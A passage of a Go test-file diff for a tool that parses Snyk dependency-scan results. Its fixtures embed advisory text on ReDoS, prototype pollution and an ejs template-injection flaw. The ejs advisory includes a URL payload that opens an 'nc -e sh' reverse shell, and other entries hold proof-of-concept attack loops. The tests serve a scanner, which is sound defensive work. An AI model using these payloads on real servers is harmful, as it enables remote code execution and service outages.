just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\\n\\n# Remediation\\nUpgrade `ansi-regex` to version 3.0.1, 4.1.1, 5.0.1, 6.0.1 or higher.\\n# References\\n- [GitHub Commit](https://github.com/chalk/ansi-regex/commit/419250fa510bf31b4cc672e76537a64f9332e1f1)\\n- [GitHub Commit](https://github.com/chalk/ansi-regex/commit/75a657da7af875b2e2724fd6331bf0a4b23d3c9a)\\n- [GitHub Commit](https://github.com/chalk/ansi-regex/commit/8d1d7cdb586269882c4bdc1b7325d0c58c8f76f9)\\n- [GitHub PR](https://github.com/chalk/ansi-regex/pull/37)\\n\"},\"properties\":{\"tags\":[\"security\",\"CWE-400\",\"yarn\"]}} \n Message: This file introduces a vulnerable ansi-regex package with a high severity vulnerability.", + }, + { + Target: "package.json:1-1", + Type: "SNYK-JS-ASYNC-2441827", + Title: "This file introduces a vulnerable async package with a high severity vulnerability.", + Severity: v1.Severity_SEVERITY_HIGH, + Description: "MatchedRule: {\"id\":\"SNYK-JS-ASYNC-2441827\",\"shortDescription\":{\"text\":\"High severity - Prototype Pollution vulnerability in async\"},\"fullDescription\":{\"text\":\"(CVE-2021-43138) async@2.6.3\"},\"help\":{\"text\":\"\",\"markdown\":\"* Package Manager: yarn\\n* Vulnerable module: async\\n* Introduced through: spyros-frontend@1.0.0, react-scripts@5.0.0 and others\\n### Detailed paths\\n* _Introduced through_: spyros-frontend@1.0.0 › react-scripts@5.0.0 › webpack-dev-server@4.7.3 › portfinder@1.0.28 › async@2.6.3\\n# Overview\\n\\nAffected versions of this package are vulnerable to Prototype Pollution via the `mapValues()` method, due to improper check in `createObjectIterator` function.\\r\\n\\r\\n# PoC\\r\\n\\r\\n```js\\r\\n//when objects are parsed, all properties are created as own (the objects can come from outside sources (http requests/ file))\\r\\nconst hasOwn = JSON.parse('{\\\"__proto__\\\": {\\\"isAdmin\\\": true}}');\\r\\n\\r\\n//does not have the property, because it's inside object's own \\\"__proto__\\\"\\r\\nconsole.log(hasOwn.isAdmin);\\r\\n\\r\\nasync.mapValues(hasOwn, (val, key, cb) =\\u003e cb(null, val), (error, result) =\\u003e {\\r\\n // after the method executes, hasOwn.__proto__ value (isAdmin: true) replaces the prototype of the newly created object, leading to potential exploits.\\r\\n console.log(result.isAdmin);\\r\\n});\\r\\n```\\n\\n# Details\\n\\nPrototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as `_proto_`, `constructor` and `prototype`. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the `Object.prototype` are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.\\n\\nThere are two main ways in which the pollution of prototypes occurs:\\n\\n- Unsafe `Object` recursive merge\\n \\n- Property definition by path\\n \\n\\n## Unsafe Object recursive merge\\n\\nThe logic of a vulnerable recursive merge function follows the following high-level model:\\n```\\nmerge (target, source)\\n\\n foreach property of source\\n\\n if property exists and is an object on both the target and the source\\n\\n merge(target[property], source[property])\\n\\n else\\n\\n target[property] = source[property]\\n```\\n\\u003cbr\\u003e \\n\\nWhen the source object contains a property named `_proto_` defined with `Object.defineProperty()` , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of `Object` and the source of `Object` as defined by the attacker. Properties are then copied on the `Object` prototype.\\n\\nClone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: `merge({},source)`.\\n\\n`lodash` and `Hoek` are examples of libraries susceptible to recursive merge attacks.\\n\\n## Property definition by path\\n\\nThere are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: `theFunction(object, path, value)`\\n\\nIf the attacker can control the value of “path”, they can set this value to `_proto_.myValue`. `myValue` is then assigned to the prototype of the class of the object.\\n\\n# Types of attacks\\n\\nThere are a few methods by which Prototype Pollution can be manipulated:\\n\\n| Type |Origin |Short description |\\n|--|--|--|\\n| **Denial of service (DoS)**|Client |This is the most likely attack. \\u003cbr\\u003eDoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`). \\u003cbr\\u003e The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service. \\u003cbr\\u003e**For example:** if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail. |\\n |**Remote Code Execution**|Client|Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.\\u003cbr\\u003e**For example:** `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.|\\n|**Property Injection**|Client|The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.\\u003cbr\\u003e **For example:** if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.|\\n\\n# Affected environments\\n\\nThe following environments are susceptible to a Prototype Pollution attack:\\n\\n- Application server\\n \\n- Web server\\n \\n\\n# How to prevent\\n\\n1. Freeze the prototype— use `Object.freeze (Object.prototype)`.\\n \\n2. Require schema validation of JSON input.\\n \\n3. Avoid using unsafe recursive merge functions.\\n \\n4. Consider using objects without prototypes (for example, `Object.create(null)`), breaking the prototype chain and preventing pollution.\\n \\n5. As a best practice use `Map` instead of `Object`.\\n\\n## For more information on this vulnerability type:\\n\\n[Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf)\\n\\n# Remediation\\nUpgrade `async` to version 2.6.4, 3.2.2 or higher.\\n# References\\n- [GitHub Backport PR](https://github.com/caolan/async/pull/1828)\\n- [GitHub Commit](https://github.com/caolan/async/commit/8f7f90342a6571ba1c197d747ebed30c368096d2)\\n- [GitHub Commit](https://github.com/caolan/async/commit/e1ecdbf79264f9ab488c7799f4c76996d5dca66d)\\n- [PoC](https://jsfiddle.net/oz5twjd9/)\\n\"},\"properties\":{\"tags\":[\"security\",\"CWE-1321\",\"yarn\"]}} \n Message: This file introduces a vulnerable async package with a high severity vulnerability.", + }, + { + Target: "package.json:1-1", + Type: "SNYK-JS-CSSWHAT-1298035", + Title: "This file introduces a vulnerable css-what package with a medium severity vulnerability.", + Severity: v1.Severity_SEVERITY_MEDIUM, + Description: "MatchedRule: {\"id\":\"SNYK-JS-CSSWHAT-1298035\",\"shortDescription\":{\"text\":\"Medium severity - Regular Expression Denial of Service (ReDoS) vulnerability in css-what\"},\"fullDescription\":{\"text\":\"(CVE-2021-33587) css-what@3.4.2\"},\"help\":{\"text\":\"\",\"markdown\":\"* Package Manager: yarn\\n* Vulnerable module: css-what\\n* Introduced through: spyros-frontend@1.0.0, react-scripts@5.0.0 and others\\n### Detailed paths\\n* _Introduced through_: spyros-frontend@1.0.0 › react-scripts@5.0.0 › @svgr/webpack@5.5.0 › @svgr/plugin-svgo@5.5.0 › svgo@1.3.2 › css-select@2.1.0 › css-what@3.4.2\\n# Overview\\n[css-what](https://www.npmjs.org/package/css-what) is an a CSS selector parser\\n\\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via attribute parsing.\\n\\n# Details\\n\\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\\n\\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\\n\\nLet’s take the following regular expression as an example:\\n```js\\nregex = /A(B|C+)+D/\\n```\\n\\nThis regular expression accomplishes the following:\\n- `A` The string must start with the letter 'A'\\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\\n- `D` Finally, we ensure this section of the string ends with a 'D'\\n\\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\\n\\nIt most cases, it doesn't take very long for a regex engine to find a match:\\n\\n```bash\\n$ time node -e '/A(B|C+)+D/.test(\\\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\\\")'\\n0.04s user 0.01s system 95% cpu 0.052 total\\n\\n$ time node -e '/A(B|C+)+D/.test(\\\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\\\")'\\n1.79s user 0.02s system 99% cpu 1.812 total\\n```\\n\\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\\n\\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\\n\\nLet's look at how our expression runs into this problem, using a shorter string: \\\"ACCCX\\\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\\n1. CCC\\n2. CC+C\\n3. C+CC\\n4. C+C+C.\\n\\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\\n\\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\\n\\n| String | Number of C's | Number of steps |\\n| -------|-------------:| -----:|\\n| ACCCX | 3 | 38\\n| ACCCCX | 4 | 71\\n| ACCCCCX | 5 | 136\\n| ACCCCCCCCCCCCCCX | 14 | 65,553\\n\\n\\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\\n\\n# Remediation\\nUpgrade `css-what` to version 5.0.1 or higher.\\n# References\\n- [GitHub Commit](https://github.com/fb55/css-what/commit/4cdaacfd0d4b6fd00614be030da0dea6c2994655)\\n- [GitHub PR](https://github.com/fb55/css-what/pull/503)\\n- [GitHub Release](https://github.com/fb55/css-what/releases/tag/v5.0.1)\\n\"},\"properties\":{\"tags\":[\"security\",\"CWE-400\",\"yarn\"]}} \n Message: This file introduces a vulnerable css-what package with a medium severity vulnerability.", + }, + { + Target: "package.json:1-1", + Type: "SNYK-JS-D3COLOR-1076592", + Title: "This file introduces a vulnerable d3-color package with a medium severity vulnerability.", + Severity: v1.Severity_SEVERITY_MEDIUM, + Description: "MatchedRule: {\"id\":\"SNYK-JS-D3COLOR-1076592\",\"shortDescription\":{\"text\":\"Medium severity - Regular Expression Denial of Service (ReDoS) vulnerability in d3-color\"},\"fullDescription\":{\"text\":\"d3-color@3.0.1\"},\"help\":{\"text\":\"\",\"markdown\":\"* Package Manager: yarn\\n* Vulnerable module: d3-color\\n* Introduced through: spyros-frontend@1.0.0, react-flow-renderer@9.7.4 and others\\n### Detailed paths\\n* _Introduced through_: spyros-frontend@1.0.0 › react-flow-renderer@9.7.4 › d3-zoom@3.0.0 › d3-interpolate@3.0.1 › d3-color@3.0.1\\n* _Introduced through_: spyros-frontend@1.0.0 › react-flow-renderer@9.7.4 › d3-zoom@3.0.0 › d3-transition@3.0.1 › d3-color@3.0.1\\n* _Introduced through_: spyros-frontend@1.0.0 › react-force-graph-2d@1.23.6 › force-graph@1.41.1 › d3-scale-chromatic@2.0.0 › d3-color@2.0.0\\n* _Introduced through_: spyros-frontend@1.0.0 › react-force-graph-2d@1.23.6 › force-graph@1.41.1 › d3-scale@3.3.0 › d3-interpolate@2.0.1 › d3-color@2.0.0\\n* _Introduced through_: spyros-frontend@1.0.0 › react-force-graph-2d@1.23.6 › force-graph@1.41.1 › d3-zoom@2.0.0 › d3-transition@2.0.0 › d3-color@2.0.0\\n# Overview\\n[d3-color](https://www.npmjs.org/package/d3-color) is a Color spaces! RGB, HSL, Cubehelix, Lab and HCL (Lch).\\n\\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the `rgb()` and `hrc()` functions. \\r\\n\\r\\nPoC by Yeting Li: \\r\\n```\\r\\nvar d3Color = require(\\\"d3-color\\\")\\r\\n// d3Color.rgb(\\\"rgb(255,255,255)\\\")\\r\\n\\r\\nfunction build_blank(n) {\\r\\n var ret = \\\"rgb(\\\"\\r\\n for (var i = 0; i \\u003c n; i++) {\\r\\n ret += \\\"1\\\"\\r\\n }\\r\\n return ret + \\\"!\\\";\\r\\n}\\r\\n\\r\\nfor(var i = 1; i \\u003c= 5000000; i++) {\\r\\n if (i % 1000 == 0) {\\r\\n var time = Date.now();\\r\\n var attack_str = build_blank(i)\\r\\n d3Color.rgb(attack_str)\\r\\n var time_cost = Date.now() - time;\\r\\n console.log(\\\"attack_str.length: \\\" + attack_str.length + \\\": \\\" + time_cost+\\\" ms\\\")\\r\\n }\\r\\n}\\r\\n```\\n\\n# Details\\n\\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\\n\\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\\n\\nLet’s take the following regular expression as an example:\\n```js\\nregex = /A(B|C+)+D/\\n```\\n\\nThis regular expression accomplishes the following:\\n- `A` The string must start with the letter 'A'\\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\\n- `D` Finally, we ensure this section of the string ends with a 'D'\\n\\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\\n\\nIt most cases, it doesn't take very long for a regex engine to find a match:\\n\\n```bash\\n$ time node -e '/A(B|C+)+D/.test(\\\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\\\")'\\n0.04s user 0.01s system 95% cpu 0.052 total\\n\\n$ time node -e '/A(B|C+)+D/.test(\\\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\\\")'\\n1.79s user 0.02s system 99% cpu 1.812 total\\n```\\n\\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\\n\\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\\n\\nLet's look at how our expression runs into this problem, using a shorter string: \\\"ACCCX\\\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\\n1. CCC\\n2. CC+C\\n3. C+CC\\n4. C+C+C.\\n\\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\\n\\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\\n\\n| String | Number of C's | Number of steps |\\n| -------|-------------:| -----:|\\n| ACCCX | 3 | 38\\n| ACCCCX | 4 | 71\\n| ACCCCCX | 5 | 136\\n| ACCCCCCCCCCCCCCX | 14 | 65,553\\n\\n\\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\\n\\n# Remediation\\nUpgrade `d3-color` to version 3.1.0 or higher.\\n# References\\n- [Github PR](https://github.com/d3/d3-color/pull/100)\\n- [Github PR](https://github.com/d3/d3-color/pull/99)\\n- [GitHub PR](https://github.com/d3/d3-color/pull/89)\\n- [Github Releases](https://github.com/d3/d3-color/releases/tag/v3.1.0)\\n\"},\"properties\":{\"tags\":[\"security\",\"CWE-400\",\"yarn\"]}} \n Message: This file introduces a vulnerable d3-color package with a medium severity vulnerability.", + }, + { + Target: "package.json:1-1", + Type: "SNYK-JS-EJS-2803307", + Title: "This file introduces a vulnerable ejs package with a high severity vulnerability.", + Severity: v1.Severity_SEVERITY_HIGH, + Description: "MatchedRule: {\"id\":\"SNYK-JS-EJS-2803307\",\"shortDescription\":{\"text\":\"High severity - Remote Code Execution (RCE) vulnerability in ejs\"},\"fullDescription\":{\"text\":\"(CVE-2022-29078) ejs@3.1.6\"},\"help\":{\"text\":\"\",\"markdown\":\"* Package Manager: yarn\\n* Vulnerable module: ejs\\n* Introduced through: spyros-frontend@1.0.0, react-scripts@5.0.0 and others\\n### Detailed paths\\n* _Introduced through_: spyros-frontend@1.0.0 › react-scripts@5.0.0 › workbox-webpack-plugin@6.4.2 › workbox-build@6.4.2 › @surma/rollup-plugin-off-main-thread@2.2.3 › ejs@3.1.6\\n# Overview\\n[ejs](https://www.npmjs.com/package/ejs) is a popular JavaScript templating engine.\\n\\nAffected versions of this package are vulnerable to Remote Code Execution (RCE) by passing an unrestricted render option via the `view options` parameter of `renderFile`, which makes it possible to inject code into `outputFunctionName`.\\r\\n\\r\\n\\r\\n**Note:**\\r\\nThis vulnerability is exploitable only if the server is already vulnerable to Prototype Pollution.\\r\\n\\r\\n# PoC:\\r\\nCreation of reverse shell:\\r\\n```\\r\\nhttp://localhost:3000/page?id=2\\u0026settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('nc -e sh 127.0.0.1 1337');s\\r\\n```\\n# Remediation\\nUpgrade `ejs` to version 3.1.7 or higher.\\n# References\\n- [GitHub Commit](https://github.com/mde/ejs/commit/15ee698583c98dadc456639d6245580d17a24baf)\\n- [GitHub Issue](https://github.com/mde/ejs/issues/451)\\n- [GitHub Release](https://github.com/mde/ejs/releases)\\n- [Security Advisory](https://eslam.io/posts/ejs-server-side-template-injection-rce/)\\n\"},\"properties\":{\"tags\":[\"security\",\"CWE-94\",\"yarn\"]}} \n Message: This file introduces a vulnerable ejs package with a high severity vulnerability.", + }, + }, + } + require.Equal(t, expected, results) +} + +func TestWriteOutput(t *testing.T) { + producers.Append = true + sampleIssues := map[string][]*v1.Issue{ + "Snyk Open Source": { + { + Target: "package.json:1-1", + Type: "SNYK-JS-ANSIREGEX-1583900", + Title: "This file introduces a vulnerable ansi-regex package with a high severity vulnerability.", + Severity: v1.Severity_SEVERITY_HIGH, + Cvss: 0, + Confidence: v1.Confidence_CONFIDENCE_UNSPECIFIED, + Description: "MatchedRule: {\"id\":\"SNYK-JS-ANSIREGEX-1583908\",\"shortDescription\":{\"text\":\"High severity - Regular Expression Denial of Service (ReDoS) vulnerability in ansi-regex\"},\"fullDescription\":{\"text\":\"(CVE-2021-3807) ansi-regex@2.1.1\"},\"help\":{\"text\":\"\",\"markdown\":\"* Package Manager: yarn\\n* Vulnerable module: ansi-regex\\n* Introduced through: spyros-frontend@1.0.0, react-d3-library@1.1.8 and others\\n### Detailed paths\\n* _Introduced through_: spyros-frontend@1.0.0 › react-d3-library@1.1.8 › babel-core@6.26.3 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1\\n* _Introduced through_: spyros-frontend@1.0.0 › react-d3-library@1.1.8 › babel-core@6.26.3 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1\\n* _Introduced through_: spyros-frontend@1.0.0 › npm@7.16.0 › @npmcli/arborist@2.6.2 › @npmcli/metavuln-calculator@1.1.1 › pacote@11.3.4 › @npmcli/run-script@1.8.5 › node-gyp@7.1.2 › npmlog@4.1.2 › gauge@2.7.4 › string-width@1.0.2 › strip-ansi@3.0.1 › ansi-regex@2.1.1\\n* _Introduced through_: spyros-frontend@1.0.0 › npm@7.16.0 › @npmcli/arborist@2.6.2 › @npmcli/metavuln-calculator@1.1.1 › pacote@11.3.4 › @npmcli/run-script@1.8.5 › node-gyp@7.1.2 › npmlog@4.1.2 › gauge@2.7.4 › wide-align@1.1.3 › string-width@2.1.1 › strip-ansi@4.0.0 › ansi-regex@3.0.0\\n* _Introduced through_: spyros-frontend@1.0.0 › npm@7.16.0 › cli-table3@0.6.0 › string-width@4.2.2 › strip-ansi@6.0.0 › ansi-regex@5.0.0\\n* _Introduced through_: spyros-frontend@1.0.0 › react-scripts@5.0.0 › jest@27.4.7 › @jest/core@27.4.7 › @jest/reporters@27.4.6 › string-length@4.0.2 › strip-ansi@6.0.0 › ansi-regex@5.0.0\\n# Overview\\n\\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to the sub-patterns` [[\\\\\\\\]()#;?]*` and `(?:;[-a-zA-Z\\\\\\\\d\\\\\\\\/#\\u0026.:=?%@~_]*)*`.\\r\\n\\r\\n\\r\\n## PoC\\r\\n```js\\r\\nimport ansiRegex from 'ansi-regex';\\r\\n\\r\\nfor(var i = 1; i \\u003c= 50000; i++) {\\r\\n var time = Date.now();\\r\\n var attack_str = \\\"\\\\u001B[\\\"+\\\";\\\".repeat(i*10000);\\r\\n ansiRegex().test(attack_str)\\r\\n var time_cost = Date.now() - time;\\r\\n console.log(\\\"attack_str.length: \\\" + attack_str.length + \\\": \\\" + time_cost+\\\" ms\\\")\\r\\n}\\r\\n```\\n\\n# Details\\n\\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\\n\\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\\n\\nLet’s take the following regular expression as an example:\\n```js\\nregex = /A(B|C+)+D/\\n```\\n\\nThis regular expression accomplishes the following:\\n- `A` The string must start with the letter 'A'\\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\\n- `D` Finally, we ensure this section of the string ends with a 'D'\\n\\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\\n\\nIt most cases, it doesn't take very long for a regex engine to find a match:\\n\\n```bash\\n$ time node -e '/A(B|C+)+D/.test(\\\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\\\")'\\n0.04s user 0.01s system 95% cpu 0.052 total\\n\\n$ time node -e '/A(B|C+)+D/.test(\\\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\\\")'\\n1.79s user 0.02s system 99% cpu 1.812 total\\n```\\n\\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\\n\\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\\n\\nLet's look at how our expression runs into this problem, using a shorter string: \\\"ACCCX\\\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\\n1. CCC\\n2. CC+C\\n3. C+CC\\n4. C+C+C.\\n\\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\\n\\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\\n\\n| String | Number of C's | Number of steps |\\n| -------|-------------:| -----:|\\n| ACCCX | 3 | 38\\n| ACCCCX | 4 | 71\\n| ACCCCCX | 5 | 136\\n| ACCCCCCCCCCCCCCX | 14 | 65,553\\n\\n\\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\\n\\n# Remediation\\nUpgrade `ansi-regex` to version 3.0.1, 4.1.1, 5.0.1, 6.0.1 or higher.\\n# References\\n- [GitHub Commit](https://github.com/chalk/ansi-regex/commit/419250fa510bf31b4cc672e76537a64f9332e1f1)\\n- [GitHub Commit](https://github.com/chalk/ansi-regex/commit/75a657da7af875b2e2724fd6331bf0a4b23d3c9a)\\n- [GitHub Commit](https://github.com/chalk/ansi-regex/commit/8d1d7cdb586269882c4bdc1b7325d0c58c8f76f9)\\n- [GitHub PR](https://github.com/chalk/ansi-regex/pull/37)\\n\"},\"properties\":{\"tags\":[\"security\",\"CWE-400\",\"yarn\"]}} \n Message: This file introduces a vulnerable ansi-regex package with a high severity vulnerability.", + }, + { + Target: "package.json:1-1", + Type: "SNYK-JS-ASYNC-2441801", + Title: "This file introduces a vulnerable async package with a high severity vulnerability.", + Severity: v1.Severity_SEVERITY_HIGH, + Description: "MatchedRule: {\"id\":\"SNYK-JS-ASYNC-2441827\",\"shortDescription\":{\"text\":\"High severity - Prototype Pollution vulnerability in async\"},\"fullDescription\":{\"text\":\"(CVE-2021-43138) async@2.6.3\"},\"help\":{\"text\":\"\",\"markdown\":\"* Package Manager: yarn\\n* Vulnerable module: async\\n* Introduced through: spyros-frontend@1.0.0, react-scripts@5.0.0 and others\\n### Detailed paths\\n* _Introduced through_: spyros-frontend@1.0.0 › react-scripts@5.0.0 › webpack-dev-server@4.7.3 › portfinder@1.0.28 › async@2.6.3\\n# Overview\\n\\nAffected versions of this package are vulnerable to Prototype Pollution via the `mapValues()` method, due to improper check in `createObjectIterator` function.\\r\\n\\r\\n# PoC\\r\\n\\r\\n```js\\r\\n//when objects are parsed, all properties are created as own (the objects can come from outside sources (http requests/ file))\\r\\nconst hasOwn = JSON.parse('{\\\"__proto__\\\": {\\\"isAdmin\\\": true}}');\\r\\n\\r\\n//does not have the property, because it's inside object's own \\\"__proto__\\\"\\r\\nconsole.log(hasOwn.isAdmin);\\r\\n\\r\\nasync.mapValues(hasOwn, (val, key, cb) =\\u003e cb(null, val), (error, result) =\\u003e {\\r\\n // after the method executes, hasOwn.__proto__ value (isAdmin: true) replaces the prototype of the newly created object, leading to potential exploits.\\r\\n console.log(result.isAdmin);\\r\\n});\\r\\n```\\n\\n# Details\\n\\nPrototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as `_proto_`, `constructor` and `prototype`. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the `Object.prototype` are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.\\n\\nThere are two main ways in which the pollution of prototypes occurs:\\n\\n- Unsafe `Object` recursive merge\\n \\n- Property definition by path\\n \\n\\n## Unsafe Object recursive merge\\n\\nThe logic of a vulnerable recursive merge function follows the following high-level model:\\n```\\nmerge (target, source)\\n\\n foreach property of source\\n\\n if property exists and is an object on both the target and the source\\n\\n merge(target[property], source[property])\\n\\n else\\n\\n target[property] = source[property]\\n```\\n\\u003cbr\\u003e \\n\\nWhen the source object contains a property named `_proto_` defined with `Object.defineProperty()` , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of `Object` and the source of `Object` as defined by the attacker. Properties are then copied on the `Object` prototype.\\n\\nClone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: `merge({},source)`.\\n\\n`lodash` and `Hoek` are examples of libraries susceptible to recursive merge attacks.\\n\\n## Property definition by path\\n\\nThere are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: `theFunction(object, path, value)`\\n\\nIf the attacker can control the value of “path”, they can set this value to `_proto_.myValue`. `myValue` is then assigned to the prototype of the class of the object.\\n\\n# Types of attacks\\n\\nThere are a few methods by which Prototype Pollution can be manipulated:\\n\\n| Type |Origin |Short description |\\n|--|--|--|\\n| **Denial of service (DoS)**|Client |This is the most likely attack. \\u003cbr\\u003eDoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`). \\u003cbr\\u003e The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service. \\u003cbr\\u003e**For example:** if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail. |\\n |**Remote Code Execution**|Client|Remote code execution is generally only possible in cases where the codebase 